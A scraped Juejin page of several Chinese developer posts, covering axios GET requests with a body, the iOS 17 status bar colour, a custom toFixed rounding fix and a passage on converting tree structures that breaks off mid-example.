request.open(config.method.toUpperCase(),
buildURL(fullPath, config.params, config.paramsSerializer), true);

// 省略若干代码
...

// Send the request
request.send(requestData || null);
});
}

最终会将data数据发送出去


所以只要我们传递了data数据,其实axios会将其放在body发送出去的


2.1 实战


本地起一个koa服务,弄一个简单的接口,看看后端能否接收到get请求的body参数


router.get('/api/json', async (ctx, next) => {
console.log('get请求获取body: ', ctx.request.body)

ctx.body = ctx.request.body
})

router.post('/api/json', async (ctx, next) => {
console.log('post请求获取body: ', ctx.request.body)

ctx.body = ctx.request.body
})

为了更好地比较,分别弄了一个getpost接口


前端调用接口:


const res = await axios.get('/api/json', {
data: {
id: 1,
type: 'GET'
}
})


const res = await axios.post('/api/json', {
data: {
id: 2,
type: 'POST'
}
})
console.log('res--> ', res)

axiossend处打一个断点



可以看到数据已经被放到body中了


后端已经接收到请求了,但是get请求无法获取到body



结论:



  • 前端可以发送带body参数的get请求,但是后端接收不到

  • 这就是接口一直调不通的原因


3、这是为何呢?


我们查看WHATGW标准,在XMLHttpRequest中有这么一个说明:



大概意思:如果请求方法是GETHEAD ,那么body会被忽略的


所以我们虽然传递了,但是会被浏览器给忽略掉


这也是为什么使用postman可以正常请求,但是前端调不通的原因了


因为postman并没有遵循WHATWG的标准,body参数没有被忽略



3.1 fetch是否可以?


fetch.spec.whatwg.org/#request-cl…


答案:也不可以,fetch会直接报错



总结



  1. 结论:浏览器并不支持get请求将参数放在body

  2. XMLHTTPRequest会忽略body参数,而fetch则会直接报错


作者:蝼蚁之行
来源:juejin.cn/post/7283367128195055651
收起阅读 »

震惊:苹果手机电池栏“黑白无常”

iOS
前言: 当程序员👨🏻‍💻遇到难以解决的bug时,大家都会说同样的口头禅:真是见了鬼了(建国后不可以) 现象: 手机电池栏左黑右白,如下图    👈🏻左边的时间是黑色的字体,右边的信号和电池是白色的字体👉🏻,这种感觉就像电池栏在呼喊: 我与你之...
继续阅读 »

前言:



当程序员👨🏻‍💻遇到难以解决的bug时,大家都会说同样的口头禅:真是见了鬼了(建国后不可以)



现象:



手机电池栏左黑右白,如下图













👈🏻左边的时间是黑色的字体,右边的信号和电池是白色的字体👉🏻,这种感觉就像电池栏在呼喊:


我与你之间虽只差一个灵动岛的距离,却已是黑白相隔


心路历程:


初步断定应该是UIStatusBarStyle的设置问题,查看App的infoplist文件发现确实有 View controller-based status bar appearance = YES的相关设置,有特殊需要的界面就需要自己手动处理一下


- (UIStatusBarStyle)preferredStatusBarStyle {
if (@avaliable(iOS 13.0,*)) {
return XXXX;
} else {
return XXXXX;
}
return XXXXXXX;
}

但是本着谁污染谁治理的原则,我没有特殊的场景我不处理,别的地方设置了也不应该影响我吧。再退一步来说,就算影响了,也不应该给我显示成这种左黑右白的鬼样子吧。不过产品说这个功能很高级,可以保留。玩笑归玩笑,问题还是得解决。


解决方案:


最先想到的肯定是给出问题的界面实现一下 preferredStatusBarStyle,效果确实不错,解决了,如图:












先解决了问题上线再说,就像罗永浩说的:












但是这该死的求知欲天天折磨着我,直到今天在搞包体积的时候,脚本检测到这个大的背景图,发现是从左往右渐变加深的,难道和图片有关系?本着试一试的原则,把图片删除的同时并且把preferredStatusBarStyle的代码注释掉,竟然好了,不可思议:












找设计师要了不带渐变的图片,又尝试了一把












对比俩种情况不难发现:


•无背景图,系统的导航栏显示的是黑色


•有背景图,系统的导航栏显示的是白色


💡💡 是不是UIKit对导航栏背景图做了监听?目的是为了让用户可以清晰的看到电池栏的信息?


带着这个猜测,去看了下去年的WWDC,果然找到了答案:



在iOS17中,default样式会根据内容的深浅调整status bar的颜色。



由于没有手动处理preferredStatusBarStyle,而背景图又是从左到右渐变加深,所以电池栏显示成了左黑右白。


后语:


由此可见:


1、遇到难以解决的问题,把锅甩给系统bug是多么的机智🐶;


2、建国后还真的是:





吴京达咩是什么梗-抖音





参考链接:


developer.apple.com/videos/play…


作者:京东云开发者
来源:juejin.cn/post/7344710026853007394
收起阅读 »

js精度丢失的问题,重新封装toFixed()

web
js精度丢失的问题,重新封装toFixed() 最近项目中遇到一个问题,那就是用tofixed()保留位小数的时候出现问题;比如2.55.tofixed(1)的结果是2.5。在网上搜了以什么是什么toFixed用的是银行算法,大致了解了一下银行家算法,意思就是...
继续阅读 »

js精度丢失的问题,重新封装toFixed()


最近项目中遇到一个问题,那就是用tofixed()保留位小数的时候出现问题;比如2.55.tofixed(1)的结果是2.5。在网上搜了以什么是什么toFixed用的是银行算法,大致了解了一下银行家算法,意思就是四舍五入的话,如的情况有五种,舍的情况只有四种,所以5看情况是舍还是入。


然而事实并不是什么银行家算法,而是计算的二进制有关,计算机在存储数据是以二进制的形式存储的整数存储倒是没有问题的,但是小数就容易出问题了,就比如0.1的二进制是0.0001100110011001100110011001100110011001100110011001101...无限循环的但是计算保存的时候肯定是有长度限制的,到你使用的时候计算会做一个近似处理


如下图:


企业微信截图_20230824140406.png
那我再看一下2.55的是啥样子的吧


企业微信截图_20230824140555.png
现在是不是很容易理解了为什么2.55保留一位小数是2.5而不是2.6了吧


同时计算机在保留二进制的时候也会存在进位和舍去的
所以这也是解释了一下为什么0.1+0.2不等于0.3,因为0.1和0.2本来存储的就不是精确的数字,加在一起就把误差放大了,计算就不知道你是不是想要的结果是0.3了,但是同样的是不精确是数字加一起确实正确的就比如0.2和0.3


见下图:


企业微信截图_20230824141334.png
这是为什么呢,因为计算存储的时候有进有啥,一个进一个舍两个相加就抵消了。


知道原因了该怎么解决呢?


那就是不用数字,而是用字符串。如果你涉及到一些精确计算的话可以用到一些比较成熟的库比如math.js或者# decimal.js。我今天就是对toFixed()重新封装一下,具体思路就是字符串加整数之间的运算,因为整数存储是精确(不要扛啊 不要超出最大安全整数)



export function toFixed(num, fixed = 2) {//fixed是小数保留的位数
let numSplit = num.toString().split('.');
if (numSplit.length == 1 || !numSplit[1][fixed] || numSplit[1][fixed] <= 4) {
return num.toFixed(fixed);
}
function toFixed(num, fixed = 2) {
let numSplit = num.toString().split(".");
if (
numSplit.length == 1 ||
!numSplit[1][fixed] ||
numSplit[1][fixed] <= 4
) {
return num.toFixed(fixed);
}
numSplit[1] = (+numSplit[1].substring(0, fixed) + 1 + "").padStart( fixed,0);
if (numSplit[1].length > fixed) {
numSplit[0] = +numSplit[0] + 1;
numSplit[1] = numSplit[1].substring(1, fixed + 1);
}
return numSplit.join(".");
}
if (numSplit[1].length > fixed) {
numSplit[0] = +numSplit[0] + 1;
numSplit[1] = numSplit[1].substring(1, fixed + 1);
}
return numSplit.join('.');
}

文章样式简陋,但是干货满满。说的不对的,希望大家指正。


作者:Pangchengqiu12
来源:juejin.cn/post/7270544537671598114
收起阅读 »

从MariaDB衰败思考国产数据库品牌力建设

前文 10年前我非常好奇这个长得和MySQL一模一样的东西的发展,直到今天有了答案,MariaDB股价大跌,陷入财务危机,没有营收,砍产品,裁员,更换管理层,借债等等。 MariaDB曾经有一个InnoDB加强版的说法,但是从开发者的视角,没有必要关心里面是什...
继续阅读 »

前文


10年前我非常好奇这个长得和MySQL一模一样的东西的发展,直到今天有了答案,MariaDB股价大跌,陷入财务危机,没有营收,砍产品,裁员,更换管理层,借债等等。


MariaDB曾经有一个InnoDB加强版的说法,但是从开发者的视角,没有必要关心里面是什么。 即使page head加强、page tail优化,page directory综合做了完善的更改开发者只关心它在应用业务性能上有没有体现,使用是不是与MySQL一模一样。


从WEB应用体验,MariaDB与MySQL做比较,MariaDB的使用与MySQL的外模式和内模式一样。外模式指MySQL常用的SQL语句【等值查询、范围查询、聚合查询、窗口查询、两表关联、多表关联】,内模式指MySQL内部的元数据信息【数据字典、动态视图、静态视图】。


几乎可以把MariaDB当成套壳的MySQL,以此为镜, 300多个国产数据库可以感受到自由市场的竞争残酷。截至2月份, dbegines排行13名的MariaDB处于分崩瓦解的边缘。它给国产数据库的启迪是什么?我们怎么去发展建设国产数据库品牌。


image.png


千年前,明太祖朱元璋征求学士朱升对他平定天下战略方针的意见,朱升说:高筑墙,广积粮,缓称王。国产数据库可以遵从此道 ,高筑墙建立自己的品牌壁垒,广积粮营造自己的商业生态 。


从数据库的本质为应用服务、目标人群是商业实体,使用者多是开发者、DBA,我想到的三点有助于数据库品牌的建设。


协助建设应用


从目标利用的角度,天下应用分为以下三种系统建设,数据库作为系统中的核心服务,始终是为应用服务,应用是最终的变现。


信息系统建设方案: 传统的应用建设,主要是将现象生活反映到电子流,往往是单条业务流程整合,包括企业流程制度、企业控制管理、员工权限授权访问,常说的烟囱系统建设以及企业信息系统以及ERP、CRM、OA、交易系统、分析系统都属于这个范畴。此处数据架构较简单。


大数据系统建设方案: 此不仅仅包括我们常说的大数据建设,该应用建设表现往往高并发、高吞吐、低延迟、快响应,有时候需要整合较多的数据源,将集成较多的数据集,主要与业务系统联通或者其它设备的数据汲取过来,通过清洗、整合、编排后,输出一个错落有致、规范得体的数据指标,再反哺业务系统。用户跟踪、业务监控管理、实时需求预测都属于大数据系统的建设方案范围,主要它是能整合不同的数据,此处数据架构较复杂。


智能系统建设方案: 该系统建设属于高端信息应用范畴,需要智能算法以及更有效率的计算框架,包括音、视频、 边缘计算 、AI、 大模型AIGC等等,同时也包括基本的信息系统建设方案大数据系统建设方案,智能系统建设是应用优化的永无止境的追求。主要表现是提供更加友好验证手段,以及更加便利的识别方法提供相应的服务,一般智能系统会搭承其它技术手段完成客户端需求的闭环。


目前信创改造以及国家信息发展项目,大部分以信息系统建设方案大数据系统建设方案居多,所有的国内厂商创收盈利来自此处。因为有逐利的目的性,厂商有目标奔向这些项目。


但是对一些开源信息系统的适配,没有厂商愿意接入,因为没有任何利润可言。例如wordpress目前只支持MySQL,从技术上的改造,这个是简单的,但是没有人愿意做这样的事。大部分国内数据库厂商已经完成国内头部ERP厂商的适配兼容,数据库兼容wordpress是轻而易举的事情。


数据库厂商可以试着从基于利润创收的目的性适配应用,切换到主动适配发展应用创新的模式


信息系统建设方案来看,目前国内大多的开源系统底层使用MySQL,这个在侧面反映在中国MySQL为什么比postgreSQL火的原因,postgreSQL在世界很流行,但是在中国普及不如MySQL。


大数据系统建设方案较复杂,单一的数据库无法解决所有的问题,但是可以作为方案其中的一个实力支撑点,目前许多厂商都与上下游产品已经完成适配兼容, 但是没有脍炙人口的成熟的技术栈自成一套的解决方案。


例如某管理系统平台的技术栈如下, Hadoop +Hive +Kafka +Zookeeper + HBase +Sqoop +Flume + 国产厂商产品,国产厂商产品的位置也许随便用国际主流数据库产品就可以替代。为什么还用不熟悉的国产厂商产品?


这里需要宣传,需要推广,需要实践使用,需要生根发芽,了解国际的现状,认清与国际的差距,他们能做的,我们也能做。


这是文化使用习惯的问题,同样是碳酸水,可口可乐和百事可乐已经是有口皆碑,国内的炭酸水的味道和质量不比可乐差,为什么销量比不过这两家。其中一个原因,可乐不仅在饮料行业生根发展,而且在食谱行业也有建树。例 如可乐鸡翅,可乐不仅可以用于消暑解渴,而且可以用于烹饪食物。


严格科学上来说,可乐是越喝越渴的,根本不能够解渴,但是可乐的口感还不错,价格还可以,人们就建立喝可乐可以解渴的信仰。这信仰一时三刻撼动不了。国产可乐要摇动 可口可乐和百事可乐的位置,长期宣传推广是必不可少,多搞点可乐鸡翅、可乐鸭掌是根本,可乐应用于烹饪,可乐应用于清洁用途,可乐应用于除味。


智能系统建设方案这里比较特别,传统数据库与智能应用的依赖相对弱,一些数据库厂为了加强核心能力,已经推出向量型数据库。标准的现代化的数据库的基本能力,无论是结构化数据、半结构化数据、全结构化数据都可以在库中进行处理。


事实上智能系统建设方案更偏重应用端的处理能力,识别特征、应用模型、计算方式非常重要,这些都不是数据库能够兜底的,真正的智能系统建设方案可以不靠虑数据库产品选型,但是数据持久化落地,必定要选择其一款数据库。


智能系统建设方案应用场景比 信息系统建设方案大数据系统建设方案更加变幻莫测。


信息系统建设方案建设重点,数据库作为数字基座提供能力如下,包括系统稳定、高并发访问性能、交易查询请求功能、各种业务函数、友好的使用方式 , 满足项目级、部门级应用发展的需求。


大数据系统建设方案方面,数据库原有的基础能力新增,包括分布式处理能力、多模型构建能力、事务交易同体能力、内外数据集成能力 、动态伸缩能力 ,满足跨部门的集团级应用发展的需求。


信息系统建设方案大数据系统建设方案的对比区别,一个是简单,一个复杂,而智能系统建设方案则是强调应用端的建设,服务端获取特征参数,在后端联调大量的模型,连接不同的数据库、知识库、文件系统做特征识别匹配,返回给客户。


那么智能系统建设方案 普及的应该如何建设?数据库厂商大力投入,带头组织活动,鼓励应用创新,推动金融智能应用、电信智能应用、制造业智能应用的发展,有助于提高厂商的品牌力,暴光厂商在智能系统建设方案 方面的实践经验,增强厂商的威望值。


笔者看来,信创及国产化大多属于信息系统建设方案和大数据系统建设方案智能系统建设方案则是未来社会发展的应用硬性需求,厂商可以大力投入。


建设产品的长宽高壁垒


产品品牌力犹如一个盒子,由长宽高组成, 长度不够、宽度不及、高度不深都会造成品牌力的短板,无法把客户的信心牢牢装在里面。


下面列出产品长度、产品宽度、产品深度相关的指标来量化一个国产数据库的综合实力,努力往这三方面发展应该是没有错的。知己知彼,百战百胜,产品长宽高是知己,知道自己已经做的事和即将要做的事。


产品长度重点考察应用案例



  • 确定行业头部企业覆盖范围【金融行业、通信行业、制造业】

  • 确定行业相关企业覆盖面积【企业个数】

  • 确定行业主流应用场景【生产、经营、交易、办公】

  • 确定应用场景影响范围【核心业务、辅助业务 、边缘业务】

  • 确定产品基于生产环境运行的稳定性【精确到年】

  • 确定产品具备满足未来业务几年的性能【数据量增长】

  • 确定产品利于业务展开运行的功能【产品功能与业务需求匹配度】


产品宽度重点考察生态适配



  • 软件上游 CPU、芯片、操作系统、文件系统

  • 软件下游 BI软件、数据集成软件、ORM框架、数据可视化

  • 与Oracle、Postgresql、MySQL的适配兼容

  • 基于产品基础上的二次github技术开源

  • 同类软件的适配兼容调度集成

  • 行业标准接口JDBC\ODBC的适配兼容

  • 建立合作伙伴战略关系

  • 打造用户的社区【成熟度评估】

  • 高校教育培养使用人群


产品深度重点考察产品是否与时俱进



  • 行业主流技术【向量化计算、向量化数据类型、边缘计算】

  • 社会趋势【区块链】

  • serverless平台

  • 云计算系列

  • 内置支持人工智能、机器学习、数据分析、业务函数

  • 高校实验室底层研究


构建购买者和使用者的体验闭环


知己知彼,百战百胜,构建体验是知彼,知道对方对产品的感受以及使用者的反馈。


数据库作为一个商品,处处展现着生产者、购买者、使用者的关系。 生产者【厂商 】根据市场上的需求,丈量自家的研发实力开发了这么一个商品,当务之急就是要找到客户【购买者】,客户选择商品的背后有1000个原因。成交之后,使用者进场。购买者与使用者之间是甲方与乙方的关系,乙方根据产品的使用说明,使用相关解决解业务中的一系列问题。


厂商做的事情,包括引起购买者的兴趣,千方百计使用各种营销方式或者推广手段使购买者甘心付费成单,并且使用使用者的产品使用,包括质量反馈和功能缺点


购买者体验


商品列入购买者的采购清单范围 ,可能原因是是产品的【协助建设应用】和【长宽高壁垒】做了大量铺垫,举例某产品应用于人工手势智能系统中,XX商品充当核心服务存储,XX商品应用于同行业的用户画像分析业务场景,或者XX商品联同BI软件已经在驾驶舱系统运行中。


在商品已经得到购买者的侧目,下一步是实践得到客户的肯定。下面的POC以及持久的技术支持将证明产品具备满足客户业务需求的功能和性能。


厂商对客户的进一步输出,可以量化为以下三个指标。依次为服务响应时间、竞品对应亮点、应用迁移经验


服务响应时间,包括解决具体问题花的时间,到达现场花的时间,响应客户问题花的时间,原则上客户提出的问题 和疑问都要第一时间解答, 为此企业会有相应的知识库储备 ,针对问题可以马上解答。


竞品对应亮点, 建立同类相关产品对标,并突出本产品优势、亮点,数据库产品大同小异,全部产品都有数据存储、管理、使用的功能,但是单机产品与分布式无法100%进行匹配度。可以参考**【协助建设应用】和【长宽高壁垒】。**


应用迁移经验,客户关心第数据底座搬迁后的稳定性,基于数据库的应用迁移工作包括 具体数据迁移、数据结构迁移、SQL相关迁移,保障迁移后是无缝迁移状态。


具体数据迁移主要包括数据一致性、数据数量是否同、数据内容是否同等、数据是否转换等等。


数据结构迁移主要包括表结构、数据类型、数据长度、存储过程、函数、同义词等等,基于新底座转换后运行逻辑流程是否与原来相同 。


SQL相关迁移主要指SQL语句以及SQL相关的SHELLl调用、ETL语句,ORM框架内置SQL,基于新底座转换后运行逻辑流程是否与原来相同。


使用者反馈


在客户正式成为购买者后,使用者成为高级产品反馈者,厂商收集使用者和项目的相关信息,同时也是在进行**【协助建设应用】【产品长宽高壁垒】**。


厂商对客户的进一步输出,可以量化为以下三个指标,包括项目业务背景,技术套件、文件使用、产品使用状况


业务背景,包括项目驱动因素,领导愿景、发展目标、立项初衷等等,根据这些已知信息,掌握项目的痛点和痒点,评估项目预期可以做到的效果。


技术套件,记录包括项目中原来的和准备用上的技术套件,包括前端、UI、ORM框架构、中间件、数据库等相关解决方案一切用上的技术工具。


文档使用,建立用户对文档使用过程中的体验,根据厂商的提供的资料,是否足够工程师独力完成任务,不需要与厂商 互动。


产品使用状况,构建用户与研发互动和反馈的平台系统和制度流程, 包括API使用、DEMO操作、无法解决的问题。


总结


总的来说,品牌力不可能一蹴而就。围绕三点协助建设应用、建设长宽高壁垒、构建购买者和使用者的体验闭环进行数据库品牌力建设,笔者也是泛泛而谈展开铺叙,细节方面可以有更多补充。


最后概括以协助建设应用、建设长宽高壁垒为基本点,以此为线,赋能项目成单,增进客户的信心,交付项目使用。同时从购买者体验、使用者反馈搜集信息和数据,促进产品良性发展以及项目拿下订单,周而复始,不断循环。


作者:大数据模型
来源:juejin.cn/post/7343557616332767266
收起阅读 »

AI编程已有公司纳入绩效,你的AI编程工具是什么?

自从ChatGPT带动全球AI热潮,AI席卷着各行各业。编程界也不例外,最出名的摸过OpenAI与GitHub联合开发的Github Copilot。Github Copilot带动了一大堆AI编程工具的出现。后来Github Copilot付费了,再加上网络...
继续阅读 »

自从ChatGPT带动全球AI热潮,AI席卷着各行各业。编程界也不例外,最出名的摸过OpenAI与GitHub联合开发的Github Copilot。Github Copilot带动了一大堆AI编程工具的出现。后来Github Copilot付费了,再加上网络方面的问题,在国内使用Github Copilot还是有一定门槛的。那么在国内有没有适合国内程序员使用的类Github Copilot产品呢?下面分享一下个人安装使用的一些AI编程插件:



p.s.以上的下载量与评分均只是plugins.jetbrains的marketplace数据,仅供参考。


基本AI编程工具的功能都差不多:



  • 代码补全:根据当前代码上下文自动补全代码。

  • 根据注释生成代码:根据注释描述生成相应的代码。

  • 方法和函数生成:根据方法名或函数名自动生成该方法或函数的代码。

  • 生成测试代码:生成测试代码。

  • ....


具体选择可以自己体验一下,国内用户可能试用下codegeex、aixcoder。


1、Github Copilot



GitHub Copilot是一款由GitHub和OpenAI共同开发的基于云的人工智能工具,它可以帮助开发者自动生成代码、分析代码、调试代码以及进行安全检测等。Copilot是基于OpenAI的GPT-4模型开发的,可以通过文本问答的方式与开发者进行交互。



  • 效果



生成代码文档



当然大家可能比较关心的是如果不花钱,免费使用Github Copilot。除了官方试用,另外在国内自然是有大神


去破解它。如果你破解过idea的话,再关注下那个大神的博客基本就可能以找到这个了。



国内到国外访问Copilot Chat,会时不时的会抽风。




  • 评分(3.0)




  • 下载量(7,476,947)



2、Codeium



Codeium是一款免费的智能编程助手,由美国一家公司开发。它提供了超过40种编程语言的代码完成工具。这个工具支持几乎所有主流的编程语言和IDE,特别适合个人用户使用。Codeium的主要功能包括自动完成代码,从样板文件到单元测试节省时间,以及使用自然语言问题搜索存储库。此外,它还提供了一个Playground体验,可以直接在浏览器上试用Codeium的功能。



  • 界面截图


安装后需要登录,不过国内打不了。我登录后使用的效果很一般,估计网络太差。。。




  • 评分(4.7)




  • 下载量(328,213)




  • 小结





    • 国内不怎么好用,登录不了




3、CodeGeeX(开源)



CodeGeeX是一个强大的基于LLM的智能编程助手。提供代码生成/补全、注释生成、代码翻译、AI聊天等功能,帮助开发人员大幅提升工作效率。CodeGeeX是由清华大学知识工程实验室研发。它支持20多种编程语言,并适配多种主流IDE。




  • 效果




  • 评分(3.6)




  • 下载量(258,540)



4、Amazon CodeWhisperer


亚马逊CodeWhisperer是AWS提供的一种AI驱动的工具,它帮助开发者更高效地编写代码。它提供实时代码建议,支持自然语言到bash的翻译,并能进行安全扫描。此外,它还包含了Amazon Q,这是一个交互式AI助手,能在IDE中提供专家指导和代码解释。CodeWhisperer设计用于多种编程语言和集成开发环境(IDE),并且可以定制以更好地理解您的内部库和API。


由于idea版本的问题没有安装上



不过下载量还是比较高,但评分就相当的低



  • 下载量(6,213,740)




  • 评分



5、Tabnine


Tabnine是一款AI编程助手,它通过实时代码补全、聊天和代码生成功能,帮助开发者提高编码效率。


Tabnine是由以色列的开发者创建的,它是一款基于人工智能的编程助手,旨在提高代码编写的效率和质量。


自2018年推出以来,Tabnine已经成为软件开发领域生成式AI技术的先驱,并且在全球范围内拥有超过一百万的月活跃用户。Tabnine支持所有流行的编程语言和IDE,能够根据您的代码和模式提供个性化的建议。它还提供私有部署选项,确保代码的安全性和合规性。



  • 效果



免费版只提供自动补全代码,别的功能需要付费



Tabnine Pro提供全线和全功能代码完成,这是免费版本中不包括的



  • 评分(3.9)




  • 下载量(3,528,356)



6、aiXcoder


aiXcoder是一款基于人工智能的软件开发助手,它通过深度学习技术提供代码自动生成、代码自动补全、代码智能搜索等功能,旨在提升开发者的开发效率和代码质量。



  • 效果




  • 评分(4.1)




  • 下载量(455,879)



7、ChatGTP-EasyCode


EasyCode是一个基于IntelliJ IDEA开发的代码生成插件,它通过自定义模板来快速生成Java、HTML、JS、XML等代码。这个工具特别适合Java程序员进行CRUD操作,因为它可以自动搭建MVC三层架构,从而减少重复性工作,提高开发效率。EasyCode支持与数据库相关的代码生成,并允许用户根据个人需求定制模板。



  • 效果


没有自己补全,但可以使用右键把机器人对话窗口调出来




  • 评分(4.0)




  • 下载量(727,619)



8、TONGYI Lingma(通义灵码)



通义灵码是阿里云推出的一款智能编码助手,它基于通义大模型,提供了一系列编程辅助功能,包括代码智能生成、研发智能问答、代码注释生成等。它能够根据当前代码文件及跨文件的上下文,为开发者生成行级或函数级的代码、单元测试和代码注释,从而提高编码效率和质量。通义灵码还支持自然语言生成代码,即开发者可以用自然语言描述想要的功能,通义灵码会根据描述生成相应的代码和注释。



  • 效果



右键效果




  • 评分(3.3)




  • 下载量(961,347)



作者:栈江湖
来源:juejin.cn/post/7344625552667476002
收起阅读 »

小程序手势冲突做不了?不存在的!

web
原生的应用经常会有页面嵌套列表,滚动列表能够改变列表大小,然后还能支持列表内下拉刷新等功能。看了很多的小程序好像都没有这个功能,难道这个算是原生独享的吗,难道是由于手势冲突无法实现吗,冷静的思考了一下,又看了看小程序的手势文档(文档地址),感觉我又行了。 实现...
继续阅读 »

原生的应用经常会有页面嵌套列表,滚动列表能够改变列表大小,然后还能支持列表内下拉刷新等功能。看了很多的小程序好像都没有这个功能,难道这个算是原生独享的吗,难道是由于手势冲突无法实现吗,冷静的思考了一下,又看了看小程序的手势文档(文档地址),感觉我又行了。


实现效果如下:


a.gif


页面区域及支持手势



  • 红色的是列表未展开时内容展示,无手势支持

  • 绿色部分是控制部分,支持上拉下拉手势,对应展开列表及收起列表

  • 蓝色列表部分,支持上拉下拉手势,对应展开列表,上拉下拉刷新等功能

  • 浅蓝色部分是展开列表后的小界面内容展示,无手势支持


原理实现


主要是根据事件系统的事件来自行处理页面应当如何响应,原理其实同原生的差不多。
主要涉及 touchstart、touchmove、touchend、touchcancel 四个


另外的scrollview的手势要借助于 scroll-y、refresher-enable 属性来实现。


之后便是稀疏平常的数学加减法计算题环节。根据不同的内容点击计算页面应当如何绘制显示。具体的还是看代码吧,解释起来又要吧啦吧啦了。



Talk is cheap, show me the code



代码部分


wxml


<!--index.wxml-->
<view>
<view class="header" style="opacity: {{headerOpacity}};height:{{headerHeight}}px;"></view>
<view
class="toolbar"
data-type="toolbar"
style="bottom: {{scrollHeight}}px;height:{{toolbarHeight}}px;"
catch:touchstart="handleToolbarTouchStart"
catch:touchmove="handleToolbarTouchMove"
catch:touchend="handleToolbarTouchEnd"
catch:touchcancel="handleToolbarTouchEnd">
</view>
<scroll-view
class="scrollarea"
type="list"
scroll-y="{{scrollAble}}"
refresher-enabled="{{scrollAble}}"
style="height: {{scrollHeight}}px;"
bind:touchstart="handleToolbarTouchStart"
bind:touchmove="handleToolbarTouchMove"
bind:touchend="handleToolbarTouchEnd"
bind:touchcancel="handleToolbarTouchEnd"
bindrefresherrefresh="handleRefesh"
refresher-triggered="{{refreshing}}"
>

<view class="item" wx:for="{{[1,2,3,4,5,6,7,8,9,0,1,1,1,1,1,1,1]}}">

</view>
</scroll-view>

<view
class="mini-header"
style="height:{{miniHeaderHeight}}px;"
wx:if="{{showMiniHeader}}">


</view>
</view>


ts


// index.ts
// 获取应用实例
const app = getApp<IAppOption>()

Component({
data: {
headerOpacity: 1,
scrollHeight: 500,
windowHeight: 1000,
isLayouting: false,
showMiniHeader: false,
scrollAble: false,
refreshing: false,
toolbarHeight: 100,
headerHeight: 400,
miniHeaderHeight: 200,
animationInterval: 20,
scrollviewStartY: 0,
},
methods: {
onLoad() {
let info = wx.getSystemInfoSync()
this.data.windowHeight = info.windowHeight
this.setData({
scrollHeight: info.windowHeight - this.data.headerHeight - this.data.toolbarHeight
})
},
handleToolbarTouchStart(event) {
this.data.isLayouting = true
let type = event.currentTarget.dataset.type
if (type == 'toolbar') {

} else {
this.data.scrollviewStartY = event.touches[0].clientY
}
},
handleToolbarTouchEnd(event) {
this.data.isLayouting = false

let top = this.data.windowHeight - this.data.scrollHeight - this.data.miniHeaderHeight - this.data.toolbarHeight
if (top > (this.data.headerHeight - this.data.miniHeaderHeight) / 2) {
this.tween(this.data.windowHeight - this.data.scrollHeight, this.data.headerHeight + this.data.toolbarHeight, 200)
} else {
this.tween(this.data.windowHeight - this.data.scrollHeight, this.data.miniHeaderHeight + this.data.toolbarHeight, 200)
}
},
handleToolbarTouchMove(event) {
if (this.data.isLayouting) {
let type = event.currentTarget.dataset.type
if (type=='toolbar') {
this.updateLayout(event.touches[0].clientY + this.data.toolbarHeight / 2)
} else {
if (this.data.scrollAble) {
return
} else {
this.updateScrollViewLayout(event.touches[0].clientY)
}
}
}
},
handleRefesh() {
let that = this
setTimeout(() => {
that.setData({
refreshing: false
})
}, 3000);
},
updateLayout(top: number) {
if (top < this.data.miniHeaderHeight + this.data.toolbarHeight) {
top = this.data.miniHeaderHeight + this.data.toolbarHeight
} else if (top > this.data.headerHeight + this.data.toolbarHeight) {
top = this.data.headerHeight + this.data.toolbarHeight
}
let opacity = (top - (this.data.miniHeaderHeight + this.data.toolbarHeight)) / (this.data.miniHeaderHeight + this.data.toolbarHeight)
let isReachTop = opacity == 0 ? true : false
this.setData({
scrollHeight: this.data.windowHeight - top,
headerOpacity: opacity,
showMiniHeader: isReachTop,
scrollAble: isReachTop
})
},
updateScrollViewLayout(offsetY: number) {
let delta = offsetY - this.data.scrollviewStartY
if (delta > 0) {
return
}
delta = -delta
if (delta > this.data.headerHeight - this.data.miniHeaderHeight) {
delta = this.data.headerHeight - this.data.miniHeaderHeight
}

let opacity = 1 - (delta) / (this.data.headerHeight - this.data.miniHeaderHeight)
let isReachTop = opacity == 0 ? true : false
this.setData({
scrollHeight: this.data.windowHeight - this.data.headerHeight - this.data.toolbarHeight + delta,
headerOpacity: opacity,
showMiniHeader: isReachTop,
scrollAble: isReachTop
})
},
tween(from: number, to: number, duration: number) {
let interval = this.data.animationInterval
let count = duration / interval
let delta = (to-from) / count
this.tweenUpdate(count, delta, from)
},
tweenUpdate(count: number, delta: number, from: number) {
let interval = this.data.animationInterval
let that = this
setTimeout(() => {
that.updateLayout(from + delta)
if (count >= 0) {
that.tweenUpdate(count-1, delta, from + delta)
}
}, interval);
}
},
})


less


/**index.less**/
.header {
height: 400px;
background-color: red;
}
.scrollarea {
position: fixed;
left: 0;
right: 0;
bottom: 0;
background-color: blue;
}
.toolbar {
height: 100px;
position: fixed;
left: 0;
right: 0;
background-color: green;
}
.mini-header {
position: fixed;
top: 0;
left: 0;
right: 0;
height: 200px;
background-color: cyan;
}
.item {
width: 670rpx;
height: 200rpx;
background-color: yellow;
margin: 40rpx;
}

作者:xyccstudio
来源:juejin.cn/post/7341007339216732172
收起阅读 »

有了这篇文章,妈妈再也不担心我不会处理树形结构了!

web
本篇文章你将学习到。什么是树形结构一维树形结构 与 多维树形结构 的相互转化。findTreeData,filterTreeData ,mapTreeData 等函数方法 帮助我们更简单的处理多维树形结构基础介绍有很多小白开发可能不知道什么...
继续阅读 »

本篇文章你将学习到。

  1. 什么是树形结构
  2. 一维树形结构 与 多维树形结构 的相互转化。
  3. findTreeDatafilterTreeData ,mapTreeData 等函数方法 帮助我们更简单的处理多维树形结构

基础介绍

有很多小白开发可能不知道什么树形结构。这里先简单介绍一下。直接上代码一看就懂

一维树形结构

[
  { id: 1, name: `Node 1`, pId: 0 },
  { id: 2, name: `Node 1.1`, pId: 1 },
  { id: 4, name: `Node 1.1.1`, pId: 2 },
  { id: 5, name: `Node 1.1.2`, pId: 2 },
  { id: 3, name: `Node 1.2`, pId: 1 },
  { id: 6, name: `Node 1.2.1`, pId: 3 },
  { id: 7, name: `Node 1.2.2`, pId: 3 },
  { id: 8, name: `Node 2`, pId: 0 },
  { id: 9, name: `Node 2.1`, pId: 8 },
  { id: 10, name: `Node 2.2`, pId: 8 },
]

多维树形结构

[
  {
     id: 1,
     name: `Node 1`,
     children: [
      {
         id: 2,
         name: `Node 1.1`,
         children: [
          { id: 4, name: `Node 1.1.1`, children: [] },
          { id: 5, name: `Node 1.1.2`, children: [] },
        ],
      },
      {
         id: 3,
         name: `Node 1.2`,
         children: [
          { id: 6, name: `Node 1.2.1`, children: [] },
          { id: 7, name: `Node 1.2.2`, children: [] },
        ],
      },
    ],
  },
  {
     id: 8,
